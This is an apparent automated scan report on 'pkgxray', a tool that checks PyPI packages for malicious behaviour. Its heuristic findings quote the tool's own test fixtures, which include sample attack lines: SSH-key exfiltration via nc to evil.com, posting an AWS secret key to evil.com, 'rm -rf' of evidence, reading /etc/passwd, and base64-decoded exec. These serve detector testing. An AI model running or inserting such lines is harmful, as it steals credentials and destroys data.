pkgxray

v1.0.0 suspicious
4.6
Medium Risk

Analyze PyPI packages for suspicious behavior before installing them

📦 Package Quality Overall: Low (4.8/10)

✦ High Test Suite 9.0

Test suite present — 22 test file(s) found

  • Test runner config found: conftest.py
  • Test runner config found: pyproject.toml
  • 22 test file(s) detected (e.g. conftest.py)
◈ Medium Documentation 5.0

Some documentation present

  • Detailed PyPI description (8574 chars)
○ Low Contributing Guide 4.0

No contributing guide or governance files found

  • Development Status classifier >= Beta
◈ Medium Type Annotations 5.0

Partial type annotation coverage

  • 61 type-annotated function signatures detected in source
○ Low Multiple Contributors 1.0

Could not retrieve contributor data from GitHub

  • GitHub API error: 401

🔬 Heuristic Checks

⚠ Outbound Network Calls score 9.0

Found 6 network call pattern(s)

  • connect_in_function(): """socket.connect() dentro de una función → HIGH.""" analyzer = NetworkAna
  • json" try: req = urllib.request.Request(url, headers={"User-Agent": f"pkgxray/{_PKGXRAY_VERS
  • XRAY_VERSION}"}) with urllib.request.urlopen(req, timeout=30) as response: return jso
  • ename try: req = urllib.request.Request( url, headers={"User-Agent":
  • ON}"}, ) with urllib.request.urlopen(req, timeout=30) as response: data = res
  • wrong digest with patch("urllib.request.urlopen", return_value=mock_response): try:
⚠ Code Obfuscation score 10.0

Found 6 obfuscation pattern(s)

  • # Detects: payload = base64.b64decode(...); exec(payload) _decode_vars: set = set()
  • alk(tree): # exec(base64.b64decode(...)) — patrón combinado = CRITICAL if isinstanc
  • # exec(base64.b64decode(...)) or exec(compile(b64decode(...)))
  • tion="exec/eval combinado con base64.b64decode() — patrón clásico de malware",
  • exec(payload) where payload = base64.b64decode(...) if isinstance(first_arg, ast.Na
  • o a variable con resultado de base64.b64decode() — patrón de malware en dos pasos",
⚠ Shell / Subprocess Execution score 10.0

Found 5 shell execution pattern(s)

  • open("/etc/passwd").read()]) os.system("rm -rf /tmp/evidence") sock = socket.socket() sock.connect(
  • al.sh", "|", "bash"]) os.system("cat ~/.ssh/id_rsa | nc evil.com 1234") setup( name="to
  • ./../../evil.py": "import os; os.system('id')"}) try: files, _ = extract_python_files(ar
  • de = 'e = exec\ne("import os; os.system(\'id\')")' findings = analyzer.analyze(code, 'test.py')
  • t_detects_os_system(): """os.system() siempre es CRITICAL.""" analyzer = SubprocessAnalyzer(
⚠ Credential Harvesting score 10.0

Found 6 credential access pattern(s)

  • t os import requests secret = os.getenv("AWS_SECRET_ACCESS_KEY") requests.post("http://evil.com/collect",
  • zer.analyze('import os\nval = os.getenv("AWS_SECRET_KEY")', 'test.py') critical = [f for f in finding
  • ():\n import os\n val = os.getenv("AWS_SECRET_KEY")' findings = analyzer.analyze(code, 'test.py
  • sh():\n import os\n t = os.getenv("GITHUB_TOKEN")' findings = analyzer.analyze(code, 'test.py') ass
  • e = 'class Config:\n key = os.getenv("AWS_SECRET_ACCESS_KEY")' findings = analyzer.analyze(code, '
  • code = "import os\ntoken = os.getenv('API_KEY')\n" findings = analyzer.analyze(code, "test.py") a
✓ Typosquatting

No typosquatting candidates detected

✓ Registered Email Domain

No author email provided

⚠ Suspicious Page Links score 2.0

Found 1 suspicious link(s) on the package page

  • Non-HTTPS external link: http://evil.com/steal
⚠ Git Repository History score 3.0

GitHub API error: 401

  • GitHub API error: 401
⚠ Maintainer History score 2.0

1 maintainer concern(s) found

  • Author "pkgxray contributors" appears to have only 1 package on PyPI (new or inactive account)
✓ Known CVE Vulnerabilities

No known vulnerabilities found in OSV database.

💡 AI App Starter Prompt

Use this prompt to build a project with pkgxray
Build a simple Python application using the pkgxray package to demonstrate its core features.

💬 Discussion Feed

Leave a comment

No discussion yet. Be the first to share your thoughts!